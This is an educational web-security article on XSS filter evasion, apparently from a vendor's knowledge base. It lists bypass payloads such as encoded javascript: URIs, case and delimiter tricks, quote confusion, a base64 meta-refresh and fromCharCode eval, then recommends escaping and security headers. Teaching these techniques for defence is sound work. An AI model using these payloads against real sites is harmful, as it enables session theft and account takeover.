XSS filter evasion
What is XSS filter evasion?
XSS filter evasion is a collective term for various techniques used by attackers to bypass filters implemented to protect web applications against cross-site scripting (XSS).
What are XSS filters?
XSS filters are one of the primary methods used to prevent all types of XSS vulnerabilities: stored XSS, reflected XSS, and DOM-based XSS. They work by finding patterns that are typical of XSS attack vectors and removing such suspicious code from user input data. Patterns are typically defined using regular expressions. Such pattern-based matching is very difficult for two main reasons:
- Modern browsers, such as Google Chrome, Firefox, Internet Explorer, and Edge are very tolerant when it comes to malformed (imprecise or erroneous) HTML code and will usually try to render a page anyway. In addition to that, JavaScript syntax is very flexible and permissive, allowing many ways of expressing the same operations. Attackers can take advantage of this to intentionally create code that eludes typical XSS filter search patterns.
- Patterns that are typical of XSS payloads may also be used legitimately in web page content, as with the examples presented in this article. An effective filter needs to allow for this to avoid false positives.
Examples of XSS filter bypass methods
The following are the most common methods used by attackers in their malicious code to fool XSS filters. Of course, all these methods may be combined or refined. You can find more examples in the OWASP XSS Filter Evasion Cheat Sheet, based on the XSS Cheat Sheet by RSnake.
Using various character encodings
The simplest XSS technique used to defeat filters is to encode characters that may trigger a filter. Many different encodings can be used, for example, base64, HTML entities, or others. Available encoding techniques depend on where exactly the encoded string will be placed, as browsers apply decoding based on the context in which the content is found. For example, URL encoding is supported in href tag URLs but not in tag names. All the evasion methods described below are often combined with some form of encoding.
For example, to fool filters that only look for typical ASCII patterns, you might replace: javascript:alert(document.cookie)
with: jav
ascriptΪlert(documentˬookie)
. Note that in this example, you could also skip any or all semicolons.
If the filter knows how to recognize simpler encoding attempts, another trick is to use decimal encoding with padding and skip semicolons. For example, the string alert
is equivalent to alert
.
Case manipulation and character insertion
If the filter is case-sensitive, it may be fooled if you use a different case than the one that is expected. For example, if a filter only matches <script>
, you could use <SCRIPT>
, <Script>
or even <sCrIpT>
.
Additionally, modern web browsers usually ignore any extra whitespace characters (spaces, tabs, newlines, and carriage returns) inside HTML tags, so you could also write a script tag as <script >
, <script[\x09]>
, <script[\x10]>
, or <script[\x13]>
. You can also attempt to insert a null byte anywhere in the string, for example, <scr[\x00]ipt>
.
Fooling regular expressions
Sometimes bypassing a filter is a matter of fooling the regex. For example, you can use fake tags with angle brackets: <script a=">" src="http://example.com/xss.jpg"></script>
. If the regular expression does not cover this case, it will assume that the script tag ends with the first closing bracket. Also, note how the file in this payload is named to mimic a JPG image and fool filters that look for specific file extensions.
Using atypical event handlers
While many XSS filters test for potential JavaScript in typical event handlers such as onmouseover, onclick, onerror, onfocus, or onload, there are a lot of other event handlers that you can try, including marquee-related handlers such as onstart and onfinish. The most comprehensive list of such handlers is available on W3Schools.
Tricks with tags and attributes
Some filters focus only on common tags and can be bypassed by using lesser-known tags as XSS vectors, such as <svg>
. However, filters may also forget to include such obvious tags as <body onload=alert(document.cookie)>
.
Using atypical delimiters
Due to quirks of HTML and JavaScript syntax, there are several characters that may be used as delimiters instead of whitespaces without affecting how modern browsers execute the code. For example, you might use double quotes, single quotes, or even backticks (only for some browsers), making this code perfectly valid:<script src=test`onload=`alert(document.cookie)></script>
. Filters may also be tricked by extra angle brackets and slashes (comment characters), as in <<script>alert(document.cookie)//<</script>
. In fact, modern browsers are often so tolerant that they might even helpfully render the following code properly: <iframe src=http://xss.example.com/xss.html <
.
For the first whitespace after the tag name, the choice of delimiters is even greater. For example, you could replace it with a single slash: <img/onload=alert(document.cookie)>
.
Making other deliberate mistakes
Deliberate mistakes can help to bypass many filters without affecting how the page is rendered because browsers will attempt to correct them based on the context. This is especially true when you use quotes in the wrong place or order, or “forget” to close them.
A very simple example of deliberate quote confusion is <input type="text" name="test" value="><script>alert("xss")</script>
. The unclosed quote after value
may fool the filter that expects valid syntax, but the code will still be executed because most browsers will fix it internally and treat the quote as closed.
Another deliberate error used to fool filters is adding junk content after the tag name. Many modern browsers will completely ignore any characters after a valid tag name, making it possible to use <script/anything>
instead of <script>
(also note the use of the single slash delimiter described in the previous section).
Combining multiple methods
In practice, the above methods can be combined to make evasion more effective. For example, you could use meta tags such as refresh along with base64 encoding: <meta http-equiv="refresh"
.
content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ">
Outdated methods
You will find some XSS filter evasion tutorials online that have not been updated for many years and list techniques that no longer work in modern browsers. As a curiosity, here are some of the most interesting techniques found in old cheat sheets that only work in very old browsers (in some cases, even as old as Netscape):
- Using attributes that cannot now execute JavaScript, for example,
<body background="javascript:alert(document.cookie)">
or img tags such as<img dynsrc=alert(document.cookie)>
or<img lowsrc=alert(document.cookie)>
. - Using stylesheet links:
<link rel="stylesheet" href="javascript:alert(document.cookie);">
- Using CSS:
<div style="background-image: url(javascript:alert(document.cookie))">
- Using eval and fromCharCode to escape disallowed content, for example,
<img src=x onerror="javascript:eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">
- Using VBScript in an image:
<img src='vbscript:msgbox("warning")'>
or using livescript
How to prevent XSS filter evasion?
In theory, it is possible to create a nearly foolproof XSS filter, but it would be enormously complex and hard to maintain – and someone would eventually come up with a new bypass technique anyway. That is why proper character escaping is the easier and recommended method of preventing XSS attacks because no matter how complex your XSS filter or how good your WAF, they will never fully guarantee that a clever hacker won’t find a way in.
If, for some reason, you can’t use escaping, you can find XSS filtering projects on GitHub and in other open-source repositories to detect known XSS filter evasion methods. Before you decide to use one, though, make sure the project is still actively maintained (for example, don’t use a filter like php-antixss that was last updated in 2010).
Frequently asked questions
What is XSS filter evasion?
XSS filter evasion is a collective cybersecurity term for methods that hackers use to bypass XSS filters in web applications. XSS filter evasion relies on various tricks to avoid search and detection patterns in filters, usually by fooling regular expressions.
Learn more about methods used to prevent cross-site scripting.
How dangerous is XSS filter evasion?
If your filter is susceptible to known XSS filter evasion techniques, it can be considered useless. And even assuming your current filter protects against known and published evasion techniques, there is no guarantee that new evasion techniques won’t be found and used to bypass it, allowing for successful XSS attacks against your site.
Read more about the dangers of XSS filter evasion in our blog post.
How to prevent XSS filter evasion?
The only reliable way to prevent cross-site scripting and XSS filter evasion is to use escaping instead of filtering. Many modern frameworks, such as React, either contain easy mechanisms to escape dynamic content or do it by default. If you work in such HTML and JavaScript frameworks, using the built-in escaping and encoding features is the easiest way to be safe from XSS. Additionally, you can use HTTP security headers to mitigate potential XSS exploitation.
Read more about HTTP security headers, which can help mitigate XSS exploitation.
Related blog posts
Written by: Tomasz Andrzej Nidecki, reviewed by: Benjamin Daniel Mussler